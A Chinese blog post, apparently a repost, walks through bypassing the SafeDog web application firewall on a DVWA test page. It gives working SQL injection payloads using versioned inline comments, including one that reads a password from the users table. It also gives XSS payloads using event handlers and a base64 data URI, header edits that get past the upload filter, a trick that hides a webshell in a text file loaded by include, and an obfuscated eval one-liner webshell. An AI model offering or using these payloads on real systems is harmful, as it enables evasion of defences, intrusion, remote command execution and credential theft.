首页 > 其他 > 详细

绕过安全狗姿势

时间:2020-06-17 09:18:41      阅读:198      评论:0      收藏:0      [点我收藏+]

——扯犊子——

想起之前safedog面试官问我怎么绕过他们的产品,啊这,送命题啊,嘿嘿,那我只能是说不知道了。今天想起来就下了安全狗来耍耍,顺便纪念一下自己认怂的一次面试经历。

背景讲完了,ok,这里安全狗用的是apachev3.5版本,服务器用的是phpstudy2016,页面用的是dvwa。

——SQL注入——

首先是单引号判断,它是不检测的,正常报错,加两个就闭合没事

技术分享图片

技术分享图片

 

 这是个字符型的,接下来试一下and 和 or 语句

1‘ and ‘1‘=‘1,安全狗进行了拦截

 技术分享图片

 

试了下单独的and发现是不拦截的,应该是and后面加数字或者字符的表达式会被匹配拦截

那么试着讲and 修改为&&,发现&&加1=1这些一样是被拦截的

但是1=1和1=2本质便是true,false,而&& true这样在语法上是可以的

那么用1‘ && true #和1‘ && false # 成功绕过了狗

技术分享图片

1‘ && false # 因为语句是false,所以没有信息,这里不截图了

字符型的话也可以通过浮点数 1.0and 1=1 来绕过对and的检测

 

与and类似,or可以用||代替

 技术分享图片

(除了||,也可以用看看xor)

 

接下来试一下order,网上有说,用内联注释是可以绕过的

我这里用了简单的payload了一下1‘/*!order*//*!by*/1 # 

这里是会被拦截的,这就很尴尬了

不过这里可以构建内联注释和注释,双注释进行绕过,比如:

‘ /*!order/*!/*/**/by*/ 3#

技术分享图片

 

 

union就有点难搞了,其实也不是union,就union+select

union不处理没啥事,select不处理安全狗会帮你处理的

这里网上看了下有/*!50000union/*!*//*!50000select/*!*/这样通过版本号绕过

但是我试了一下,50000这个不太ok,会被拦截的

可是当然不是只有50000这个鸭,根据服务器版本,我这是5.5的

所以到55000中某些应该没有被拦截

随便用了下44111,发现是可以的,用其他的应该也可以

技术分享图片

 然后查个用户啥的,这里user()被拦截了,可以用同样的方法把user和()分别利用

1‘ /*!44111union*/ /*!44111select*/ 1, /*!44111user*//*!44111()*/#

技术分享图片

其他懒得写了,到这里就简单了,反复检查了好几遍以为自己把狗关了

1‘ /*!44111union*/ /*!44111select*/ 1,(/*!44111select*//*!44111password*//*!44111from*//*!44111users*/limit 0,1)#

技术分享图片

——XSS——

试了一下 <script>alert(‘1‘)</script>

 

 不出意料,当当当当,被狗拦截了

技术分享图片

但是试了一下发现alert(‘1‘)拦截,但是alert(1)不拦截

技术分享图片

 

 应该是判断了alert内部是否插入‘ ‘ 及内容,毕竟弹窗一个数字1没啥意义

同时看了看prompt是都可以

 技术分享图片

那么除了内容拦截,试了试标签,原来<script>也被拦截了

试了一下其他标签,看哪些不被拦截

发现<vedio>和<audio>可以,那么可以构建一个基于错误的弹窗

<audio src=1 onerror=prompt(‘xss‘);>

或<video src=1 onerror=prompt(‘xss‘);>

因为src=1存在错误所以会执行prompt

技术分享图片

然后还有<button>没有被过滤

<button>可以创建一个按钮然后点击发生onclick事件

<button/onclick=prompt(xss) >button</button>

技术分享图片

最后还有个<obeject>,利用标签格式,进行编码绕过,这甚至实现了alert(‘xss‘)

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>

 技术分享图片

除了以上这些,应该还有其他标签可以进行绕过,自行尝试

——文件上传——

绕后缀检测,正常上传一个php的话,会被拦截

技术分享图片

我还试了下截断发现是不行的,那就抓包改咯

把filename=“”改成filename=;

技术分享图片

技术分享图片

成功上传

技术分享图片

把filename那一行的from-data删了

技术分享图片

技术分享图片

成功上传

技术分享图片

把content-type行删了

 技术分享图片

 

 技术分享图片

成功上传

技术分享图片

 Content-Disposition随意大小写

技术分享图片

技术分享图片

成功上传

 技术分享图片

 不过上传的网马访问的时候又做了一次拦截

技术分享图片

 

如何绕过,先从大马开始

思路是把大马的内容写入txt中,然后再建一个php内部包含txt

这里上传的php重新写的一个,dvwa的懒得改txt限制了

一开始传了过狗的大马没注意,以为狗不会拦大马

重新绕后缀限制传一个一般的

技术分享图片

然后访问马,会被拦截

技术分享图片

安全狗的日志显示是常见木马

技术分享图片

 

接下来把刚刚大马改成txt,然后php包含

技术分享图片

 

 然后分别上传

技术分享图片

 

 技术分享图片

 

 然后访问php,发现狗不拦截了

技术分享图片

 

乱码问题自己调一下就行

 

再来是一句话,其实就是混淆一下就行

先传个过狗一句话,主要就赋值混淆一下

<?php $a=$_POST[‘cmd‘]; $b=&$a; eval($b);?>

(其他的还有很多,自行百度或者自己写) 

然后访问一下,发现狗不拦截了

技术分享图片

 

密码是cmd很明显了,直接post命令即可

技术分享图片

 

 

技术分享图片

 

 

 

 技术分享图片

 

 ——扯完了——

绕过安全狗姿势

原文:https://www.cnblogs.com/hguone/p/13129646.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!